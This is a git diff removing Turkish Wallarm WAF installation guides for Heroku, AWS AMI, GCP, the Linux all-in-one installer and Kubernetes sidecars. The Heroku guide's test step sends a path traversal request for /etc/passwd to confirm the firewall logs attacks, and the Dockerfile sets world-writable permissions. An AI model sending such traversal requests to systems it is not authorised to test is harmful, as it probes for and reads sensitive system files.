'/nodaemon=true/d' /opt/wallarm/etc/supervisord.conf - - # NGINX’i supervisord’a ekle - RUN printf "\n\n[program:nginx]\ncommand=/usr/sbin/nginx\nautorestart=true\nstartretries=4294967295\n" | tee -a /opt/wallarm/etc/supervisord.conf - - # Heroku her şeyi ayrıcalıksız bir kullanıcı (dyno:dyno) altında çalıştırır, bu yüzden Wallarm dizinlerine erişim vermemiz gerekir - RUN find /opt/wallarm -type d -exec chmod 777 {} \; - - # NGINX yapılandırmasını kopyala - COPY nginx.conf /etc/nginx/nginx.conf - - # Heroku tarzı 403 hata sayfası - COPY 403.html /usr/share/nginx/html/403.html - - # entrypoint.sh ekle - COPY entrypoint.sh /entrypoint.sh - - # entrypoint’ın yapılandırmayı dyno:dyno altında değiştirmesine izin ver ve NGINX loglarını konsola yönlendir - RUN chmod +x /entrypoint.sh \ - && chmod 666 /etc/nginx/nginx.conf \ - && chmod 777 /etc/nginx/ \ - && ln -sf /dev/stdout /var/log/nginx/access.log \ - && ln -sf /dev/stderr /var/log/nginx/error.log - - ENTRYPOINT ["/entrypoint.sh"] - ``` - -## Adım 2: Heroku için Wallarm Docker imajını oluşturun - -Önceden oluşturduğunuz dizin içinde aşağıdaki komutları çalıştırın: - -``` -docker build -t wallarm-heroku:6.5.1 . -docker login -docker tag wallarm-heroku:6.5.1 /wallarm-heroku:6.5.1 -docker push /wallarm-heroku:6.5.1 -``` - -## Adım 3: Oluşturduğunuz Docker imajını Heroku’da çalıştırın - -İmajı Heroku’da dağıtmak için: - -1. Aşağıdaki işlemleri gerçekleştirmek üzere uygulamanızın kök dizinine gidin. -1. Uygulamanızın çalışma zamanına özel gerekli bağımlılıkların kurulumunu içeren bir `Dockerfile` oluşturun. Bir Node.js uygulaması için aşağıdaki şablonu kullanın: - - ```dockerfile - FROM /wallarm-heroku:6.5.1 - - ENV NODE_MAJOR=20 - - # NodeSource üzerinden NodeJS v20 kur - RUN apt-get update \ - && apt-get install -qqy ca-certificates curl gnupg \ - && mkdir -p /etc/apt/keyrings \ - && curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /etc/apt/keyrings/nodesource.gpg \ - && echo "deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_$NODE_MAJOR.x nodistro main" | tee /etc/apt/sources.list.d/nodesource.list \ - && apt-get update \ - && apt-get install nodejs -qqy \ - && apt-get clean - - ADD . /opt/webapp - WORKDIR /opt/webapp - - # Bağımlılıkları yükle ve uygulamayı derle - RUN npm install --omit=dev - ENV npm_config_prefix /opt/webapp - - # Özel alanlarda (private spaces) heroku.yml içindeki `run` bölümü yok sayılır - # Bkz: https://devcenter.heroku.com/articles/build-docker-images-heroku-yml#known-issues-and-limitations - CMD ["npm", "run", "start"] - ``` -1. Aşağıdaki içerikle bir `heroku.yml` yapılandırma dosyası oluşturun: - - ```yaml - build: - docker: - web: Dockerfile - ``` - -1. Uygulamanızı, NGINX `$PORT` değerini kullandığı için `$PORT` yerine `/tmp/nginx.socket` üzerinde dinleyecek şekilde uyarlayın. Örneğin yapılandırma aşağıdaki gibi olabilir: - - ```js hl_lines="4-5" - // app.js - const app = require('express')() - - let port = process.env.PORT || 3000 // Wallarm yapılandırılmamışsa $PORT üzerinde dinleyin - if(process.env.WALLARM_API_TOKEN) port = '/tmp/nginx.socket' // Wallarm yapılandırılmışsa - - app.listen(port, (err) => { - if (err) throw err - console.log(`> App is listening on ${port}`) - }) - - app.get('/', (req, res) => { - res.send('This app is protected by Wallarm') - }) - ``` -1. Wallarm düğümü örneğini Wallarm Cloud’a bağlamak için [uygun türde][node-token-types] bir filtreleme düğümü belirteci (token) oluşturun: - - === "API belirteci" - 1. Wallarm Console → **Settings** → **API tokens** bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) üzerinde açın. - 1. `Node deployment/Deployment` kullanım türüne sahip bir API token bulun veya oluşturun. - 1. Bu token’ı kopyalayın. - 1. Wallarm düğümünün ekleneceği düğüm grup adını aşağıdaki ortam değişkeninde belirtin: - - ``` - heroku config:set WALLARM_LABELS=group= - ``` - === "Düğüm belirteci" - 1. Wallarm Console → **Nodes** bölümünü [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) üzerinde açın. - 1. **Wallarm node** türünde bir filtreleme düğümü oluşturun ve üretilen token’ı kopyalayın. -1. Düğümün Cloud’a bağlanma parametrelerini ilgili değişkenlerde belirleyin: - - === "US Cloud" - ``` - heroku config:set WALLARM_API_TOKEN= - ``` - === "EU Cloud" - ``` - heroku config:set WALLARM_API_HOST=api.wallarm.com - heroku config:set WALLARM_API_TOKEN= - ``` -1. Wallarm düğümünün dağıtımını tetikleyecek bir yeniden başlatma için uygulamanızı gönderin: - - ``` - git add Dockerfile heroku.yml app.js - git commit -m "Add Wallarm Docker" - heroku stack:set container - git push heroku - ``` - -## Adım 4: Dağıtımı test edin - -Dağıtımın çalıştığını doğrulamak için [Path Traversal][ptrav-attack-docs] istismarını kullanarak bir test saldırısı başlatın: - -``` -curl http:///etc/passwd -``` - -Düğüm varsayılan olarak **monitoring** [filtration mode][filtration-mode-docs] içinde çalıştığından, Wallarm düğümü saldırıyı engellemeyecek ancak kaydedecektir. Saldırının kaydedildiğini doğrulamak için Wallarm Console → **Attacks** bölümüne gidin: - -![Arayüzde Attacks][attacks-in-ui-image] - -## Hata ayıklama - -Wallarm temel Docker imajıyla ilgili sorun yaşarsanız, olası hata mesajları için Heroku loglarını inceleyin: - -``` -heroku logs --tail -``` - -Dağıtım sırasında yardıma ihtiyaç duyarsanız, [Wallarm destek ekibi](mailto:support@wallarm.com) ile iletişime geçin. \ No newline at end of file diff --git a/docs/latest-tr/installation/inline/compute-instances/aws/aws-ami.md b/docs/latest-tr/installation/inline/compute-instances/aws/aws-ami.md deleted file mode 100644 index fc2f90bf58..0000000000 --- a/docs/latest-tr/installation/inline/compute-instances/aws/aws-ami.md +++ /dev/null @@ -1,72 +0,0 @@ -# AWS AMI ile NGINX Düğümünün Dağıtımı - -Bu makale, Wallarm [NGINX düğümünün][nginx-native-node] AWS üzerinde [inline][inline-docs] olarak [resmi Amazon Machine Image (AMI)](https://aws.amazon.com/marketplace/pp/B073VRFXSD) kullanılarak dağıtılması için talimatlar sağlar. - -İmaj, Debian ve Debian'ın sağladığı NGINX sürümü temel alınarak hazırlanmıştır. Şu anda en güncel imaj Debian 12 kullanır ve NGINX'in kararlı 1.22.1 sürümünü içerir. - -AWS üzerinde AMI'den Wallarm düğümünün dağıtılması genellikle yaklaşık 10 dakika sürer. - -![!][aws-ami-traffic-flow] - -!!! info "Güvenlik notu" - Bu çözüm, AWS güvenlik en iyi uygulamalarını takip edecek şekilde tasarlanmıştır. Dağıtım için AWS root hesabını kullanmaktan kaçınmanızı öneririz. Bunun yerine, yalnızca gerekli izinlere sahip IAM kullanıcılarını veya rolleri kullanın. - - Dağıtım süreci, Wallarm bileşenlerini sağlamak ve işletmek için gereken asgari erişimi veren asgari ayrıcalık ilkesini esas alır. - -Bu dağıtım için AWS altyapı maliyetlerini tahmin etmeye yönelik rehberlik için [AWS'de Wallarm'ın Dağıtımı için Maliyet Rehberi][aws-costs] sayfasına bakın. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md" - -### 4. Instance'ı Wallarm Cloud'a bağlayın - -Instance'ın düğümü, [cloud-init.py][cloud-init-spec] betiği aracılığıyla Wallarm Cloud'a bağlanır. Bu betik, sağlanan bir token kullanarak düğümü Wallarm Cloud'a kaydeder, genel olarak Monitoring [mode]'a ayarlar ve `--proxy-pass` bayrağına göre düğümün meşru trafiği iletmesini yapılandırır. - -Bulut imajından oluşturulan instance üzerinde `cloud-init.py` betiğini şu şekilde çalıştırın: - -=== "US Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass -H us1.api.wallarm.com - ``` -=== "EU Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass - ``` - -* `WALLARM_LABELS='group='` bir düğüm grup adını ayarlar (mevcutsa kullanılır, mevcut değilse oluşturulur). Yalnızca bir API token'ı kullanıyorsanız uygulanır. -* `` kopyalanan token değeridir. -* ``, Wallarm düğümünün meşru trafiği proxy'lediği adrestir. Mimarinize bağlı olarak bir uygulama instance'ının IP'si, bir yük dengeleyici veya bir DNS adı olabilir; belirtilmiş `http` veya `https` protokolü ile, örn. `http://example.com` veya `https://192.0.2.1`. [Proxy adres biçimi hakkında daha fazla bilgi edinin](https://nginx.org/en/docs/http/ngx_http_proxy_module.html?&_ga=2.23729850.1231698478.1756133814-1504295816.1756133814#proxy_pass). - -### 5. Trafiğin Wallarm instance'ına gönderilmesini yapılandırın - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -### 6. Wallarm'ın çalışmasını test edin - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## Düğüm çalışmasını günlükler ve metriklerle doğrulama - -Düğümün trafiği algıladığını doğrulamak için metrikleri ve günlükleri aşağıdaki gibi kontrol edebilirsiniz: - -* Düğümün sunduğu Prometheus metriklerini kontrol edin: - - ``` - curl http://127.0.0.1:9001/metrics - ``` - -* Gelen istekleri ve hataları incelemek için NGINX günlüklerini gözden geçirin: - - * Erişim günlükleri: `/var/log/nginx/access.log` - * Hata günlükleri: `/var/log/nginx/error.log` - -* Wallarm Cloud'a gönderilen veriler, tespit edilen saldırılar ve daha fazlası gibi ayrıntıları içeren [Wallarm'a özgü günlükleri][wallarm-logs] gözden geçirin. Bu günlükler `/opt/wallarm/var/log/wallarm` dizininde bulunur. - -## Dağıtılan çözüme ince ayar yapın - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/docs/latest-tr/installation/inline/compute-instances/gcp/machine-image.md b/docs/latest-tr/installation/inline/compute-instances/gcp/machine-image.md deleted file mode 100644 index e28d9c3c27..0000000000 --- a/docs/latest-tr/installation/inline/compute-instances/gcp/machine-image.md +++ /dev/null @@ -1,44 +0,0 @@ -# GCP Makine İmajı ile Wallarm Dağıtımı - -Bu makale, [resmi Makine İmajı](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) kullanılarak GCP üzerinde Wallarm'ı [inline][inline-docs] dağıtma talimatlarını sağlar. - -İmaj, Debian ve Debian tarafından sağlanan NGINX sürümü temel alınarak oluşturulmuştur. Şu anda en güncel imaj Debian 12 kullanır ve NGINX stable 1.22.1 içerir. - -## Kullanım senaryoları - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md" - -## 5. Filtreleme düğümünü Wallarm Cloud'a bağlayın - -Bulut örneğinin düğümü, [cloud-init.py][cloud-init-spec] betiği aracılığıyla Wallarm Cloud'a bağlanır. Bu betik, sağlanan bir token kullanarak düğümü Wallarm Cloud'a kaydeder, düğümü global olarak monitoring [modu][wallarm-mode]na ayarlar ve `--proxy-pass` bayrağına göre meşru trafiği iletecek şekilde yapılandırır. NGINX'in yeniden başlatılmasıyla kurulum tamamlanır. - -Bulut imajından oluşturulan örnek üzerinde `cloud-init.py` betiğini aşağıdaki gibi çalıştırın: - -=== "ABD Bulutu" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass -H us1.api.wallarm.com - ``` -=== "AB Bulutu" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass - ``` - -* `WALLARM_LABELS='group='` düğüm grup adını ayarlar (var olan bir ad; yoksa oluşturulur). Yalnızca bir API token kullanıyorsanız uygulanır. -* ``, token'ın kopyalanmış değeridir. -* ``, Wallarm düğümünün meşru trafiği proxy'leyeceği hedefin adresidir. Mimarinizine bağlı olarak bir uygulama örneğinin IP'si, bir yük dengeleyici ya da bir DNS adı vb. olabilir. - -## 6. Wallarm örneğine trafik gönderimini yapılandırın - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -## 7. Wallarm çalışmasını test edin - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 8. Dağıtılan çözüme ince ayar yapın - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/docs/latest-tr/installation/inline/compute-instances/linux/all-in-one.md b/docs/latest-tr/installation/inline/compute-instances/linux/all-in-one.md deleted file mode 100644 index ac1fe271af..0000000000 --- a/docs/latest-tr/installation/inline/compute-instances/linux/all-in-one.md +++ /dev/null @@ -1,95 +0,0 @@ -# Hepsi-bir-arada Yükleyici ile Dağıtım - -**Hepsi-bir-arada yükleyici**, Linux tabanlı ortamlarda NGINX için dinamik bir modül olarak Wallarm düğümünü [inline trafik filtreleme][inline-docs] amacıyla kurmak üzere tasarlanmıştır. Bu yükleyici, işletim sistemi ve NGINX sürümlerinizi otomatik olarak belirler ve gerekli tüm bağımlılıkları kurar. - -**Hepsi-bir-arada yükleyici**, aşağıdaki işlemleri otomatikleştirerek basit bir düğüm kurulum süreci sağlar: - -1. İşletim sistemi ve NGINX sürümünüzü denetleme. -1. Algılanan işletim sistemi ve NGINX sürümü için Wallarm depolarını ekleme. -1. Bu depolardan Wallarm paketlerini yükleme. -1. Yüklenen Wallarm modülünü NGINX'inize bağlama. -1. Sağlanan token kullanılarak filtreleme düğümünü Wallarm Cloud'a bağlama. - -## Kullanım örnekleri - ---8<-- "../include/waf/installation/all-in-one/use-cases.md" - -## Gereksinimler - ---8<-- "../include/waf/installation/all-in-one-requirements-latest.md" - -## Adım 1: NGINX ve bağımlılıkları yükleyin - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -## Step 2: Prepare Wallarm token - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## Adım 3: Hepsi-bir-arada Wallarm yükleyicisini indirin - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## Adım 4: Hepsi-bir-arada Wallarm yükleyicisini çalıştırın - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - -İlerleyen adımlardaki komutlar x86_64 ve ARM64 kurulumları için aynıdır. - -## Adım 5: Wallarm düğümünün trafiği analiz etmesini etkinleştirin - ---8<-- "../include/waf/installation/common-steps-to-enable-traffic-analysis-inline.md" - -## Adım 6: NGINX'i yeniden başlatın - ---8<-- "../include/waf/installation/restart-nginx-systemctl.md" - -## Adım 7: Trafiğin Wallarm düğümüne gönderilmesini yapılandırın - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -## Adım 8: Wallarm düğümünün çalışmasını test edin - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## Adım 9: Dağıtılan çözüme ince ayar yapın - -Varsayılan ayarlarla dinamik Wallarm modülü kurulmuştur. Filtreleme düğümü, dağıtımdan sonra ek bazı yapılandırmalar gerektirebilir. - -Wallarm ayarları [NGINX yönergeleri][waf-directives-instr] veya Wallarm Console UI üzerinden tanımlanır. Yönergeler, Wallarm düğümünün bulunduğu makinede aşağıdaki dosyalara eklenmelidir: - -* Sunucu ve location seviyesindeki ayarlar için `/etc/nginx/sites-available/default` -* http seviyesindeki ayarlar için `/etc/nginx/nginx.conf` -* Wallarm düğümü izleme ayarlarını içeren `/etc/nginx/wallarm-status.conf`. Ayrıntılı açıklama bu [bağlantıda][wallarm-status-instr] mevcuttur - -Aşağıda gerekirse uygulayabileceğiniz tipik ayarlardan bazıları yer almaktadır: - -* [Filtreleme modunun yapılandırılması][waf-mode-instr] -* [Wallarm düğümleri için kaynak ayırma][memory-instr] -* [Wallarm düğümü değişkenlerinin günlüğe kaydedilmesi][logging-instr] -* [Filtreleme düğümünün arkasındaki proxy sunucusunun dengeleyicisinin kullanılması][proxy-balancer-instr] -* [`wallarm_process_time_limit` yönergesinde tek bir isteğin işleme süresini sınırlama][process-time-limit-instr] -* [NGINX `proxy_read_timeout` yönergesinde sunucu yanıtını bekleme süresinin sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINX `client_max_body_size` yönergesinde azami istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [NGINX'te dinamik DNS çözümlemesinin yapılandırılması][dynamic-dns-resolution-nginx] - -## Başlatma seçenekleri - ---8<-- "../include/waf/installation/all-in-one/launch-options.md" - -## Kurulumu yeniden başlatma - -Wallarm düğümü kurulumunu silmeniz ve yeniden başlamanız gerekiyorsa, aşağıdaki adımları izleyin. - -!!! warning "Kurulumu yeniden başlatmanın etkisi" - Kurulumu yeniden başlatmak, hâlihazırda çalışan Wallarm servislerini durdurmayı ve silmeyi içerir; bu da yeniden kurulum tamamlanana kadar trafik filtrelemesini duraklatır. Üretim veya kritik trafik ortamlarında dikkatli olun; çünkü bu durum trafiği filtresiz ve risk altında bırakır. - - Mevcut bir düğümü yükseltmek için (örn. 4.10'dan 5.0'a), [yükseltme talimatlarına][upgrade-docs] bakın. - -1. Wallarm süreçlerini sonlandırın ve yapılandırma dosyalarını kaldırın: - - ``` - sudo systemctl stop wallarm - sudo rm -rf /opt/wallarm - ``` -1. Yeniden kurulum işlemine, [2. adım](#step-2-prepare-wallarm-token) kurulum talimatlarını izleyerek devam edin. \ No newline at end of file diff --git a/docs/latest-tr/installation/inline/overview.md b/docs/latest-tr/installation/inline/overview.md deleted file mode 100644 index a00dffb6f3..0000000000 --- a/docs/latest-tr/installation/inline/overview.md +++ /dev/null @@ -1,91 +0,0 @@ -# Wallarm node’un inline dağıtımı - -Wallarm, tehditleri gerçek zamanlı olarak azaltmak için inline dağıtılabilir. Bu durumda, korunan API’lere gelen trafik, API’ye ulaşmadan önce Wallarm node örneklerinden geçer. Node’lar inline olduğu ve son kullanıcılara sunulan tek yol olduğu sürece, bir saldırganın Wallarm node’larını atlaması mümkün değildir. Bu makale yaklaşımı ayrıntılarıyla açıklar. - -Wallarm node örnekleri, istemci ile sunucular arasında yer alır; gelen trafiği analiz eder, kötü niyetli istekleri azaltır ve meşru istekleri korunan sunucuya iletir. - -## Kullanım senaryaları - -Wallarm’ın inline çözümü aşağıdaki kullanım senaryoları için uygundur: - -* SQLi, XSS enjeksiyonları, API kötüye kullanımı, brute force gibi kötü niyetli istekleri uygulama sunucusuna ulaşmadan önce önleyin. -* Sisteminizdeki aktif güvenlik zafiyetlerini öğrenin ve uygulama kodunu düzeltmeden önce sanal yamalar uygulayın. -* API envanterini gözlemleyin ve hassas veriyi takip edin. - -## Avantajlar ve özel gereksinimler - -Wallarm’ın inline dağıtım yaklaşımı, [OOB](../oob/overview.md) dağıtımları gibi diğer dağıtım yöntemlerine göre birkaç avantaj sunar: - -* Trafik analizi gerçek zamanlı olarak ilerlediğinden, Wallarm kötü niyetli istekleri anında engeller. -* Wallarm’ın tüm özellikleri, [API Discovery](../../api-discovery/overview.md) ve [zafiyet tespiti](../../about-wallarm/detecting-vulnerabilities.md) dahil, Wallarm hem gelen isteklere hem de sunucu yanıtlarına erişebildiğinden sınırlama olmaksızın çalışır. - -Inline bir şema uygulamak için, altyapınızdaki trafik rotasını değiştirmeniz gerekecektir. Ek olarak, kesintisiz hizmet için Wallarm node’ları için [kaynak tahsisini](../../admin-en/configuration-guides/allocate-resources-for-node.md) dikkatle düşünün. - -Üretim ortamları için AWS veya GCP gibi genel bulutlarda Wallarm node’larını dağıtırken, en iyi performans, ölçeklenebilirlik ve dayanıklılık için düzgün yapılandırılmış bir otomatik ölçekleme grubunun kullanılması gerekir (bkz. [AWS](../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md) veya [GCP](../../admin-en/installation-guides/google-cloud/autoscaling-overview.md) makaleleri). - -## Dağıtım modelleri ve desteklenen dağıtım yöntemleri - -Wallarm’ı inline dağıtırken, göz önünde bulundurulacak yaygın modeller şunlardır: - -* Wallarm Security Edge -* Kendi barındırdığınız node’un bir bilgi işlem örneğinde (compute instance) dağıtımı -* Kendi barındırdığınız node’un Kubernetes üzerinde dağıtımı - -Altyapınızın özelliklerine göre dağıtım modelini ve yöntemini seçebilirsiniz. Doğru dağıtım modeli ve yöntemini seçmede yardıma ihtiyacınız olursa, lütfen [satış ekibimizle](mailto:sales@wallarm.com) iletişime geçin ve özel yönlendirme için altyapınız hakkında ek bilgiler sağlayın. - -### Wallarm Security Edge’i çalıştırma - -Security Edge platformu, Wallarm tarafından barındırılan bir ortam içinde coğrafi olarak dağıtılmış konumlara node’lar dağıtmak için yönetilen bir hizmet sunar. [Daha fazla bilgi edinin](../security-edge/inline/overview.md) - -### Wallarm’ı bilgi işlem örneklerinde çalıştırma - -Bu modelde, Wallarm’ı altyapınız içinde bir sanal aygıt olarak dağıtırsınız. Sanal aygıt bir VM, konteyner veya bulut örneği olarak kurulabilir. - -Bir Wallarm node’u dağıtırken, onu ağ topolojinize göre farklı konumlara yerleştirme esnekliğine sahipsiniz. Ancak önerilen yaklaşım, node örneğini genel (public) bir yük dengeleyicinin arkasına ve arka uç servislerinin önüne veya genellikle arka uç servislerinden önce konumlandırılan özel (private) bir yük dengeleyicinin önüne yerleştirmektir. Aşağıdaki diyagram bu kurulumdaki tipik trafik akışını göstermektedir: - -![Inline filtreleme şeması](../../images/waf-installation/inline/wallarm-inline-deployment-scheme.png) - -Yük dengeleyiciler iki türe ayrılabilir: L4 ve L7. Yük dengeleyici türü, SSL sonlandırmanın nasıl ele alındığını belirler; bu, Wallarm’ı mevcut altyapınıza entegre ederken kritik öneme sahiptir. - -* L4 yük dengeleyici kullanıyorsanız, genellikle SSL sonlandırma yük dengeleyicinin arkasına konumlandırılmış bir web sunucusu tarafından veya Wallarm örneği olmadan altyapınızdaki diğer yollarla gerçekleştirilir. Ancak, Wallarm node’unu dağıtırken SSL sonlandırmayı Wallarm örneğinde yapılandırmanız gerekir. -* L7 yük dengeleyici kullanıyorsanız, genellikle SSL sonlandırma yük dengeleyicinin kendisi tarafından yapılır ve Wallarm node’u düz HTTP alır. - -Wallarm, Wallarm’ı bilgi işlem örneklerinde çalıştırmak için aşağıdaki yapıtları ve çözümleri sunar: - -**Amazon Web Services (AWS)** - -* [AMI](compute-instances/aws/aws-ami.md) -* [ECS](compute-instances/aws/aws-ecs.md) -* Terraform modülü: - * [AWS VPC’de Proxy](compute-instances/aws/terraform-module-for-aws-vpc.md) - * [Amazon API Gateway için Proxy](compute-instances/aws/terraform-module-for-aws-api-gateway.md) - -**Google Cloud Platform (GCP)** - -* [Machine image](compute-instances/gcp/machine-image.md) -* [GCE](compute-instances/gcp/gce.md) - -**Microsoft Azure** - -* [Azure Container Instances](compute-instances/azure/docker-image.md) - -**Alibaba Cloud** - -* [ECS](compute-instances/alibaba/docker-image.md) - -**Docker imajları** - -* [NGINX tabanlı](compute-instances/docker/nginx-based.md) - -**Linux paketleri** - -* [Tümü bir arada yükleyici](compute-instances/linux/all-in-one.md) - -### Wallarm’ı Kubernetes üzerinde çalıştırma - -Konteyner orkestrasyonu için Kubernetes kullanıyorsanız, Wallarm Kubernetes-yerel bir çözüm olarak dağıtılabilir. Ingress veya sidecar denetleyicileri gibi özelliklerden yararlanarak Kubernetes kümeleriyle sorunsuz entegre olur. - -Wallarm, Wallarm’ı Kubernetes üzerinde çalıştırmak için aşağıdaki yapıtları ve çözümleri sunar: - -* [NGINX Ingress controller](../../admin-en/installation-kubernetes-en.md) -* [Sidecar controller](../kubernetes/sidecar-proxy/deployment.md) \ No newline at end of file diff --git a/docs/latest-tr/installation/kubernetes/sidecar-proxy/customization.md b/docs/latest-tr/installation/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 0e483bf2b2..0000000000 --- a/docs/latest-tr/installation/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,411 +0,0 @@ -# Wallarm Sidecar'ı Özelleştirme - -Bu makale, bazı yaygın özelleştirme kullanım durumları için örnekler sağlayarak [Wallarm Kubernetes Sidecar çözümünün](deployment.md) güvenli ve etkili şekilde özelleştirilmesi konusunda rehberlik eder. - -## Yapılandırma alanı - -Wallarm Sidecar çözümü standart Kubernetes bileşenlerine dayanır, dolayısıyla çözümün yapılandırması büyük ölçüde Kubernetes yığını yapılandırmasına benzer. Wallarm Sidecar çözümünü küresel ölçekte `values.yaml` ile ve uygulama podu bazında annotation'lar ile yapılandırabilirsiniz. - -### Genel ayarlar - -Genel yapılandırma seçenekleri Wallarm denetleyicisi tarafından oluşturulan tüm sidecar kaynaklarına uygulanır ve [varsayılan Helm chart değerlerinde](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml) ayarlanır. `helm install` veya `helm upgrade` sırasında özel `values.yaml` sağlayarak bunları geçersiz kılabilirsiniz. - -Mevcut genel yapılandırma seçeneklerinin sayısı sınırsızdır. Çözüm, ortaya çıkan Pod'u tamamen değiştirmeye ve bunun sonucunda çözümün yanlış çalışmasına izin verdiğinden, özelleştirme yapılırken dikkatli olunmalıdır. Genel ayarları değiştirirken lütfen Helm ve Kubernetes dokümantasyonuna güvenin. - -[Wallarm'a özgü chart değerlerinin listesi burada](helm-chart-for-wallarm.md) - -### Pod bazlı ayarlar - -Pod bazlı ayarlar, belirli uygulamalar için çözüm davranışının özelleştirilmesine olanak tanır. - -Uygulama podu ayarları, uygulama Pod'unun annotation'ları aracılığıyla ayarlanır. Annotation'lar, genel ayarlara göre önceliklidir. Aynı seçenek hem genel hem de annotation ile belirtilirse, annotation'daki değer uygulanır. - -Desteklenen annotation seti sınırlıdır ancak `nginx-*-include` ve `nginx-*-snippet` annotation'ları, çözüm tarafından herhangi bir [özel NGINX yapılandırmasının kullanılmasına](#using-custom-nginx-configuration) izin verir. - -[Desteklenen pod bazlı annotation'ların listesi burada](pod-annotations.md) - -## Yapılandırma kullanım senaryoları - -Yukarıda belirtildiği gibi, çözümü altyapınıza ve güvenlik çözümüne yönelik gereksinimlerinize uyacak şekilde birçok yolla özelleştirebilirsiniz. En yaygın özelleştirme seçeneklerinin uygulanmasını kolaylaştırmak için bunları ilgili en iyi uygulamaları göz önünde bulundurarak açıkladık. - -### Kapsayıcıların tekli ve bölünmüş dağıtımı - -Wallarm, Wallarm kapsayıcılarının bir Pod'a dağıtımı için iki seçenek sunar: - -* Tekli dağıtım (varsayılan) -* Bölünmüş dağıtım - -![Tekli ve bölünmüş kapsayıcılar][single-split-containers-img] - -Kapsayıcı dağıtım seçeneklerini hem genel hem de pod bazında ayarlayabilirsiniz: - -* Genel olarak Helm chart değeri `config.injectionStrategy.schema`yı `single` (varsayılan) veya `split` olarak ayarlayarak. -* Pod bazında uygun uygulama Pod annotation'ı `sidecar.wallarm.io/sidecar-injection-schema`yı `"single"` veya `"split"` olarak ayarlayarak. - -!!! info "Postanalytics modülü" - Lütfen postanalytics modülü kapsayıcısının [ayrı](deployment.md#solution-architecture) çalıştığını, açıklanan dağıtım seçeneklerinin yalnızca diğer kapsayıcılarla ilgili olduğunu unutmayın. - -#### Tekli dağıtım (varsayılan) - -Wallarm kapsayıcılarının tekli dağıtımıyla, isteğe bağlı **iptables** init kapsayıcısı dışında bir Pod'da yalnızca bir kapsayıcı çalışır. - -Sonuç olarak iki kapsayıcı çalışır: - -* `sidecar-init-iptables`, iptables çalıştıran init kapsayıcıdır. Varsayılan olarak bu kapsayıcı başlatılır ancak [devre dışı bırakabilirsiniz](#capturing-incoming-traffic-port-forwarding). -* `sidecar-proxy`, Wallarm modülleri ve bazı yardımcı servislerle NGINX proxy'yi çalıştırır. Bu süreçlerin tümü [supervisord](http://supervisord.org/) tarafından çalıştırılır ve yönetilir. - -#### Bölünmüş dağıtım - -Wallarm kapsayıcılarının bölünmüş dağıtımıyla, iki init kapsayıcıya ek olarak bir Pod'da iki ek kapsayıcı çalışır. - -Bu seçenek, tüm yardımcı servisleri `sidecar-proxy` kapsayıcısından çıkarır ve kapsayıcı tarafından yalnızca NGINX servislerinin başlatılmasını sağlar. - -Bölünmüş kapsayıcı dağıtımı, NGINX ve yardımcı servislerin tükettiği kaynaklar üzerinde daha ayrıntılı kontrol sağlar. CPU/Memory/Storage ad alanlarının Wallarm ve yardımcı kapsayıcılar arasında bölünmesinin gerekli olduğu yüksek yüklü uygulamalar için önerilen seçenektir. - -Sonuç olarak dört kapsayıcı çalışır: - -* `sidecar-init-iptables`, iptables çalıştıran init kapsayıcıdır. Varsayılan olarak bu kapsayıcı başlatılır ancak [devre dışı bırakabilirsiniz](#capturing-incoming-traffic-port-forwarding). -* `sidecar-init-helper`, Wallarm düğümünü Wallarm Cloud'a bağlamakla görevli yardımcı servisleri içeren init kapsayıcıdır. -* `sidecar-proxy`, NGINX servislerini içeren kapsayıcıdır. -* `sidecar-helper`, diğer bazı yardımcı servisleri içeren kapsayıcıdır. - -### Uygulama kapsayıcısı portunun otomatik keşfi - -Korumalı uygulama portu birçok şekilde yapılandırılabilir. Gelen trafiği doğru şekilde işlemek ve yönlendirmek için Wallarm sidecar'ın uygulama kapsayıcısının gelen istekleri kabul ettiği TCP portunu bilmesi gerekir. - -Varsayılan olarak, sidecar denetleyicisi portu aşağıdaki öncelik sırasına göre otomatik olarak keşfeder: - -1. Port `sidecar.wallarm.io/application-port` pod annotation'ı ile tanımlanmışsa, 